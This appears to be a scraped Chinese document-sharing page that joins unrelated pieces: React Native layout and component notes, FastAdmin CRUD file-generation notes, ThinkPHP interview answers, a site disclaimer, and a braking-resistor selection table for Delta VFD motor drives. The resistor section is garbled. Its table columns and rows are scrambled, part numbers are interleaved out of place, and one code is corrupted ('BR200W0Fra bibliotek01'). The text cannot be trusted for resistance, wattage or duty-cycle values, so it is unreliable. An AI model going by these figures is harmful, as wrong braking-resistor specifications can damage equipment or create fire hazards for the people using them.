"⾏内元素"之分;所有元素的尺⼨由width和height两个属性控制;若没有指定宽和⾼,默认有布局系统来控制尺⼨-----⼀套很类似于CSS重点FlexBox布局系统.常⽤属性:①flex:指定当前元素在主轴上的尺⼨占⽐number②flexDirection:⼦元素排列⽅向column:默认值,纵向排列column-reverse:纵向排列(反向)row:横向排列row-reverse:横向排列(反向)③alignItems:⼦元素在交叉轴⽅向上的对齐⽅式flex-start:⼦元素对齐到容器的开始位置flex-end:⼦元素对齐到容器的结束位置center:⼦元素对齐到容器的中部stretch:默认值,⼦元素在交叉轴⽅向上拉伸撑满容器④justifyContent:调整所有的⼦元素(即内容)在主轴上的分布⽅式flex-start:⼦元素码放在容器的主轴开始位置flex-end:⼦元素码放在容器的主轴结束位置center:⼦元素码放在容器的主轴中央space-between:第⼀个孩⼦在开始,最后⼀个孩⼦在结尾,其他孩⼦之间平均分配空⽩空间space-around:每个孩⼦上下都包裹着相同的空⽩空间-----相邻的两个⼦元素间的空⽩是开头和结尾空⽩的2倍space-evenly:所有的空⽩在孩⼦之间以及上下顶部平均分配五、ReactNative提供的常⽤组件①View:最简单的容器,默认没有⾼度,要靠内容撑起来,内容溢出后将不显⽰<View style={ }>⼦组件</View>注意:View中不能直接放置⽂本,⽂本只能放置在Text中②ScrollView:可以滚动的容器,默认没有⾼度,要靠内容撑起来,内容溢出后将出现滚动条<ScrollView style={ }>⼦组件</ScrollView>③Text:显⽰单⾏或多⾏⽂本<Text style={} onPress={} onLongPress={} numberOfLines={显⽰出来的⾏数} ellipsizeMode='省略号显⽰的位置'>⽂本{'\n'}内容</Text>注意:RN允许Text中嵌套Text,⽽且⼦Text可以继承⽗Text的样式!④Button:按钮<Button title="按钮上的⽂字" color="按钮背景⾊" onPress={ } disabled={true/false}/>⑤TextInput:⽂本输⼊框(单⾏/多⾏)<TextInput placeholder="提⽰⽂字" secureTextEntry={ true } multiline={ true } numberOfLines={3 } value={ this.state.uname } onChangeText={ this.doChange}/>⑥Image:图⽚。
FastAdmin基本知识流程一栏
FastAdmin基本知识流程⼀栏安装:出现登陆页⽆法显⽰:可能是php的gd2扩展未开启⽤的是后台模板、less、Bower调试错误:看runtime/log⼀键⽣成数据表的crud 的记录会保存到fa_command表中当在线命令⾏管理成功⽣成crud时⽣成的⽂件如下:如fa_tomapplication/admin/contorller/Tom.phpapplication/admin/model/Tom.phpapplication/admin/validate/Tom.phpapplication/admin/view/tom/index.html、edit.html、add.htmlapplication/admin/lang/zh-cn/tom.php/public/assets/js/backend/tom.js如果是fa_demo_tom则会⽣成(_分隔成⽬录)application/admin/contorller/demo/Tom.phpapplication/admin/model/demo/Tom.phpapplication/admin/validate/demo/Tom.phpapplication/admin/view/demo/tom/index.html、edit.html、add.htmlapplication/admin/lang/zh-cn/demo/tom.php/public/assets/js/backend/demo/tom.js⽣成菜单的记录会更新fa_auth_rule的数据 name不带⽅法的就是菜单显⽰的pidwei0是选项卡⼀键⽣成的是层级⽬录的菜单,在后台展⽰时⽗级菜单会以⽬录名称显⽰,如上⾯的contorller/demo/Tom.php ⽗菜单显⽰demo⼦菜单显⽰Tom ,我们必须在application/admin/lang/zh-cn.php中添加'Demo'=>'案例','Tom'=>'案例1' 配置后菜单显⽰如上:⼀键压缩打包(略)在FastAdmin中如果修改了核⼼的JS或CSS⽂件,是需要重新压缩打包后在⽣产环境下才会⽣效。
Thinkphp面试问题
Thinkphp⾯试问题1.如何理解TP中的单⼀⼊⼝⽂件? 答:ThinkPHP采⽤单⼀⼊⼝模式进⾏项⽬部署和访问,⽆论完成什么功能,⼀个项⽬都有⼀个统⼀(但不⼀定是唯⼀)的⼊⼝。
应该说,所有项⽬都是从⼊⼝⽂件开始的,并且所有的项⽬的⼊⼝⽂件是类似的,⼊⼝⽂件中主要包括: 定义框架路径、项⽬路径和项⽬名称(可选) 定义调试模式和运⾏模式的相关常量(可选) 载⼊框架⼊⼝⽂件(必须)2.ThinkPHP中的MVC分层是什么?(理解) MVC 是⼀种将应⽤程序的逻辑层和表现层进⾏分离的⽅法。
ThinkPHP 也是基于MVC设计模式的。
MVC只是⼀个抽象的概念,并没有特别明确的规定,ThinkPHP中的MVC分层⼤致体现在: 模型(M):模型的定义由Model类来完成。
控制器(C):应⽤控制器(核⼼控制器App类)和Action控制器都承担了控制器的⾓⾊,Action控制器完成业务过程控制,⽽应⽤控制器负责调度控制。
视图(V):由View类和模板⽂件组成,模板做到了100%分离,可以独⽴预览和制作。
但实际上,ThinkPHP并不依赖M或者V ,也就是说没有模型或者视图也⼀样可以⼯作。
甚⾄也不依赖C,这是因为ThinkPHP在Action 之上还有⼀个总控制器,即App控制器,负责应⽤的总调度。
在没有C的情况下,必然存在视图V,否则就不再是⼀个完整的应⽤。
总⽽⾔之,ThinkPHP的MVC模式只是提供了⼀种敏捷开发的⼿段,⽽不是拘泥于MVC本⾝。
3.如何理解 ThinkPHP 3.0 架构(核⼼ + ⾏为 + 驱动)中的⾏为? 答:核⼼ + ⾏为 + 驱动 TP官⽅简称为:CBD 核⼼(Core):就是框架的核⼼代码,不可缺少的东西,TP本⾝是基于MVC思想开发的框架。
⾏为(Behavior):⾏为在新版ThinkPHP的架构⾥⾯起着举⾜轻重的作⽤,在系统核⼼之上,设置了很多标签扩展位,⽽每个标签位置可以依次执⾏各⾃的独⽴⾏为。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
配件選用
舊有煞車電阻選用一覽表
電 壓
適用馬達 全載輸
HP 4P
kW
出轉矩 kG-M
應用電阻規格
制動電阻料號
用 量
制動轉矩 %
最小 電阻值
備註
2 1 0.75 0.427 120W 200Ω MHR200W120 1 15%ED 125% 80Ω
3 2 1.5 0.849 120W 200Ω MHR200W120 1
89
Keypad 1M 標準延長線 Keypad 2M 標準延長線 Keypad 3M 標準延長線 Keypad 5M 標準延長線 EMI CO RE ( 22*14*8 ) EMI CORE ( 31*19*13 ) EMI CORE ( 51*31*13 ) EMI CORE ( 68*44*13.5 )
4.若要使用最小電阻值時,瓦特數的計算請與代理商洽談。
90
0 3 2.2 1.262 120W 80Ω MVR080W120 1
V 系
5 3.7 2.080
200W 50Ω
MVR050W200
1
列 7.5 5.5 3.111 500W 50Ω MHR050W500 1
10 7.5 4.148 500W 25Ω MHR050W500 1
3%ED 70% 3%ED 100% 3%ED 100% 10%ED 75% 5%ED 100%
1
25 18.5 10.281 4800W 32Ω 4030 1
30 22 12.338 4800W 27.2Ω 4030 1
制動電阻 料號
BR080W200 BR300W100 BR300W070 BR400W040 BR500W030 BR1K0W020 BR1K2W6P8 BR1K5W005 BR1K2W008 BR1K2W6P8 BR080W750 BR300W400 BR300W250 BR400W150 BR50 0W100 BR1K0W075 BR1K0W050 BR1K5W040 BR1K2W008 BR1K2W6P8
煞車電阻選用一覽表
電 壓
適用馬達 全載輸
HP 4P
kW
出轉矩 kG-M
應用電阻規格
制動電阻料號 型式 用 VFDB 量
1 0.75 0.427 80W 200Ω
2 1.5 0.849 300W 100Ω
2 3 2.2 1.262 300W 70Ω 3 5 3.7 2.080 400W 40Ω
0 7.5 5.5 3.111 500W 30Ω
55Ω 35Ω 25Ω 16Ω 12Ω
內裝型 內裝型
4 1 0.75 0.427 120W 400Ω MHR400W120 1 15%ED 220% 260Ω
6 2 1.5 0.849 120W 400Ω MHR400W120 1 3%ED 125% 190Ω
0 V 系
3 2.2 1.262 120W 200Ω MHR200W120 1 5 3.7 2.080 200W 200Ω MHR200W200 1
V 10 7.5 4.148 1000W 20Ω
系 15 11 6.186 2400W 13.6Ω 2015
1
列 20 15 8.248 3000W 10Ω 2015
1
25 18.5 10.281 4800W 8Ω 2022 1
30 22 12.338 4800W 6.8Ω 2022 1
1 0.75 0.427 80W 750Ω
BR200W250 BR200W150
1 1
制動轉矩 %
125% 125% 125% 125%
最小 電阻值
備註
35Ω 內裝型 25Ω 內裝型 145Ω 內裝型 95Ω 內裝型
品名 遠方控制器(不含線組) 數位操作面板 數位操作面板
型號 RC-01 LC-A05E LC-A10E
備註 線組必須具屏蔽效果 使用在 1HP~5HP 機種 使用在 7.5HP~30HP 機種
3%ED 160% 145Ω 內裝型 3%ED 100% 95Ω 內裝型
列 7.5 5.5 3.111 500W 100Ω MHR050W500 1 10%ED 125% 60Ω
10 7.5 4.148 500W 50Ω MHR100W500 1 3%ED 180% 45Ω
VFD-A 系列 新的內裝型制動電阻
EG1010A EG2010A EG3010A EG5010A CTC221408A CTC311913A CTC513113A CTC684413B
使用在 VFD-A,VFD-M,VFD-B,VFD-P 系列數位 操作器延長用
依客戶配線線徑選用 依客戶配線線徑選用 依客戶配線線徑選用 依客戶配線線徑選用
用 量
制動轉 矩 10%
最小 電阻值
ED%
1 125 80Ω
1 125 55Ω
1 125 35Ω
1 125 25Ω
1 125 16Ω
1 125 12Ω
2 125 13.6Ω
2 125 10Ω
4 125 8Ω
4 125 6.8Ω
1 125 260Ω
1 125 190Ω
1 125 145Ω
1 125 95Ω
2 1.5 0.849 300W 400Ω
4 3 2.2 1.262 300W 250Ω 6 5 3.7 2.080 400W 150Ω
0 7.5 5.5 3.111 500W 100Ω
V 10 7.5 4.148 1000W 75Ω
系 15 11 6.186 1000W 50Ω 4030
1
列 20 15 8.248 1500W 40Ω 4030
1 125 60Ω
1 125 45Ω
1 125 50Ω
1 125 40Ω
4 125 32Ω
4 125 27.2Ω
注意事項:1.請選擇本公司所制定的電阻值瓦特數及使用的頻率(ED%)。
2.若使用非本公司所提供的煞車電阻及制動模組而導致驅動器或其它設備損壞,本公
司則不負擔保固期的責任。
3.煞車電阻的安裝務必考慮周圍環境的安全性、易燃性。
適用馬達 全載
電
壓
HP 4P
kW
輸出 轉矩
應用電阻規格 制動電阻料號
用 量
kG-M
230V 3 2.2 1.262 5 3.7 2.080
200W 70Ω 200W 40Ω
BR200W070 BR200W0Fra bibliotek01 1
460V 3 5
2.2 1.262 3.7 2.080
200W 250Ω 200W 150Ω